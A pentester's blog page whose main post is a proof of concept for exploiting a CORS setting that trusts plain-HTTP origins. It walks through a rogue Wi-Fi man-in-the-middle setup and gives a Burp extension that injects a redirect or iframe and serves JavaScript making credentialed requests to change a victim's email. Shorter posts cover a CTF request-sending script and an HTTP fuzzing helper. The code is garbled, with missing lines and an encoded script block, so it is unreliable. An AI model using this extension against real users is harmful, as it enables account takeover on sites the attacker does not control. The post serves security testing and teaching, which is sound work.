Cross-origin resource sharing: unencrypted origin trusted PoC

I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.

Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.

Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything and when I say anything, I mean anything. Let’s assume this “anything” is (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?

The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).

We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?

  1. User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
  2. User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s
  3. The browser automatically tries port 80 first on
  4. iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
  5. Burp injects an iframe or redirects to the (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
  6. The browser loads the iframe or follows the redirect
  7. Burp sees that the browser is requesting (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
  8. The HTML payload runs in the (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to (ATTACKED_DOMAIN)
  9. The browser decides to send a CORS preflight request from the origin (IMPERSONATED_DOMAIN) to (ATTACKED_DOMAIN)
  11. Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it

To make this a little bit more clear to you, the CORS preflight will be something like:

OPTIONS /preferences/email HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

And the response from the vulnerable server will be similar to:

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN
Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:

ATTACKED_DOMAIN = "" # This is the attacked domain, the one where the CORS headers are returned
IMPERSONATED_DOMAIN = "" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header)
USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe
            				//Change email
            				var req2 = new XMLHttpRequest();
            		        req2.onload = reqListener;
      'PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); 
            		        req2.setRequestHeader('Content-Type', 'application/json');
            		        req2.withCredentials = true;
""" # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request):

# PUT /preferences/email HTTP/1.1
# Content-Type: application/json
# Content-Length: 39
# {"emailAddress":""}

# End configuration

import re
import urllib
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpService

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        print "Extension loaded!"
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CORS non-TLS PoC")
        self._end_head_regex = re.compile("</head>\s*<body.*?>")
        self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/"
        print "Extension registered!"

    def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse):
        iRequest = self._helpers.analyzeRequest(baseRequestResponse)
        if not messageIsRequest:
            print str(iRequest.getUrl())
            if str(iRequest.getUrl()) == self._iframe_url:
                # If it is a domain we want to attack, respond with the CORS payload
                print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN)
                body = """<html><body>
                    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />
                response = """HTTP/1.1 200 OK
Date: Tue, 01 Jan 1970 08:42:42 GMT
Server: Floyds CORS Exploiter Server
Connection: close
Content-Type: text/html
Content-Length: {}

{}""".format(len(body), body)
            elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()):
                # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN
                print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN)
                response = jb2ps(baseRequestResponse.getResponse())
                    print "Found a matching HTML page that has the </head> and <body ...> in it."
                    iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse())
                    header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():]
                    if USE_IFRAME:
                        body = re.sub(self._end_head_regex,
                              '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url),
                        body = re.sub(self._end_head_regex,
                              '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />'.format(self._iframe_url, self._iframe_url),
                    header = fix_content_length(header, len(body), "\r\n")
                    baseRequestResponse.setResponse(header + body)

def fix_content_length(headers, length, newline):
    h = list(headers.split(newline))
    for index, x in enumerate(h):
        if "content-length:" == x[:len("content-length:")].lower():
            h[index] = x[:len("content-length:")] + " " + str(length)
            return newline.join(h)
        print "WARNING: Couldn't find Content-Length header in request, simply adding this header"
        h.insert(1, "Content-Length: " + str(length))
        return newline.join(h)

def jb2ps(arr):
    return ''.join(map(lambda x: chr(x % 256), arr))

def ps2jb(arr):
    return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]

If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.

Python Sender

Last week I played my first Capture The Flag (CTF) where I really tried solving the challenges for a couple of hours. It was a regular jeopardy style CTF with binaries, web applications and other server ports. I don’t think CTFs are going to be my favourite hobby, as pentesting is similar but just a little bit more real life. However, CTFs are very nice for people who want to get into IT security, so I wanted to help a little bit in the team I joined. This particular CTF by Kaspersky really annoyed me though, as the servers were very often offline (HTTP 500 errors). Moreover, some challenges allowed easy Remote Command Execution (RCE) and I guess some teams took the chance to prevent other teams from scoring flags. As I just said I’m not very experienced with CTFs, maybe that’s how it’s supposed to be, but for me that’s silly. Anyway, this post is about something more positive: A Python script to play CTFs, but can also be used during pentests. For those who play CTFs very often, it’s probably better to use a full library such as pwntools, but if you just want a small script where you can delete whatever you don’t need and go with the POC||GTFO flow, you’ve come to the right place.

I think two of the mostly presented CTF challenges often look the same. You either get a URL to a challenge website and you have to do some HTTP magic or you get something like “nc 1337” where you are supposed to talk to a server with netcat. Now both challenges usually use TCP/IP and maybe TLS. The website obviously uses HTTP(S) on top of that. So very often you find yourself sending a lot of HTTP requests or a lot of TCP packets to a certain port. Pentests also require the same sometimes.

To make sure we don’t have to fight if Python 2.7 is better than Python 3.6, the script I wrote works on both versions. But even then, people might argue that python’s urllib or urllib2 is sufficient or that they rather use the non-standard requests library. And others will simply say that only asynchronous network IO is really fast enough, so they prefer to use Python Twisted (or treq). However, I got all of these cases covered in the script.

The script allows arbitrary socket and HTTP(S) connections via:

  • socket and ssl-wrapped sockets – when you need bare bone or non-HTTP(S)
  • python urllib/urllib2 HTTP(S) library – when you need HTTP(S) and a little bit more automated HTTP feature handling
  • python requests HTTP(S) library – when you need HTTP(S) and full HTTP feature handling
  • python treq (uses Python Twisted and therefore asynchronous IO) – when you need full HTTP(S) feature handling and speed is important

The main features are:

  • Works under python 2.7 and python 3 (although treq here is untested under python 2.7)
  • You can just copy and paste an HTTP(S) request (e.g. from a proxy software) without worrying about the parsing and other details
  • You can also use the sockets functions to do non-HTTP related things
  • Ignores any certificate warnings for the server

It should be helpful when:

  • You want to script HTTP(S) requests (e.g. just copy-paste from a proxy like Burp), for example during a pentest or CTF
  • When you encounter a CTF challenge running on a server (like “nc 1234”) or a proprietary TCP protocol during pentests


  • Change the variables START, END and TLS
  • Optional: Change further configuration options, such as sending the HTTP(S) requests through a proxy
  • Change the ‘main’ function to send the request you would like to. By default it will send 3 HTTP requests to with every library.

Enough words, head over to github to download the Python Sender.

Sending generic HTTP(S) requests in python

During Web Application Penetration tests I always need to automate requests, e.g. for fuzzing. While most of the local proxy/testing softwares (Burp, WebScarab, w3af, etc.) include a repeater/fuzzer feature, I often want to do addtional computations in python (e.g. calculating a hash and sending it as a fuzzed value or comparing parts of the response). The following script will take an entire HTTP(S) request as a string, parse it and send it to the server. As I show with the POST parameter “fuzzableParam” in this example, values can easily be fuzzed.

def send_this_request(http_request_string, remove_headers=None):
    Always HTTP/1.1
    import urllib2
    if remove_headers is None:
        remove_headers=['content-length', 'accept-encoding', 'accept-charset', 
        'accept-language', 'accept', 'keep-alive', 'connection', 'pragma', 
    for i, remove_header in enumerate(remove_headers):
        remove_headers[i] = remove_header.lower()
    if '\n\n' in http_request_string:
        headers, body = http_request_string.split('\n\n',1)
        headers = http_request_string
        body = None
    headers = headers.split('\n')
    request_line = headers[0]
    headers = headers[1:]

    method, rest = request_line.split(" ", 1)
    url, protocol = rest.rsplit(" ", 1)

    merge_host_header_into_url = False
    if url.startswith("http"):
        merge_host_header_into_url = False
    elif url.startswith("/"):
        info("Warning: Defaulting to HTTP. Please write URL as https:// if you want SSL")
        merge_host_header_into_url = True
        fatalError("Protocol not supported. URL must start with http or /")

    header_tuples = []
    for header in headers:
        name, value = header.split(": ", 1)
        if merge_host_header_into_url and name.lower() == 'host':
            url = 'http://'+value+url
        if not name.lower() in remove_headers:
            header_tuples.append((name, value))
    opener = urllib2.build_opener()
    opener.addheaders = header_tuples

        return urllib2.urlopen(url, body, 15).read()
    except urllib2.HTTPError, e:
        info('The server couldn\'t fulfill the request. Error code:', e.code)
    except urllib2.URLError, e:
        info("URLError:", e.reason)
    except Exception, e:
        error("DIDNT WORK:", e)
def info(*text):
    print "[PY-INFO] "+str(" ".join(str(i) for i in text))

def error(*text):
    print "[PY-ERROR] "+str(" ".join(str(i) for i in text))

request = '''POST HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 132
Cookie: test=somevalue; abc=123
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache


additionalValue = "&anotherParam=abc"

for i in ['78', '-1']:
    print send_this_request(request+i+additionalValue)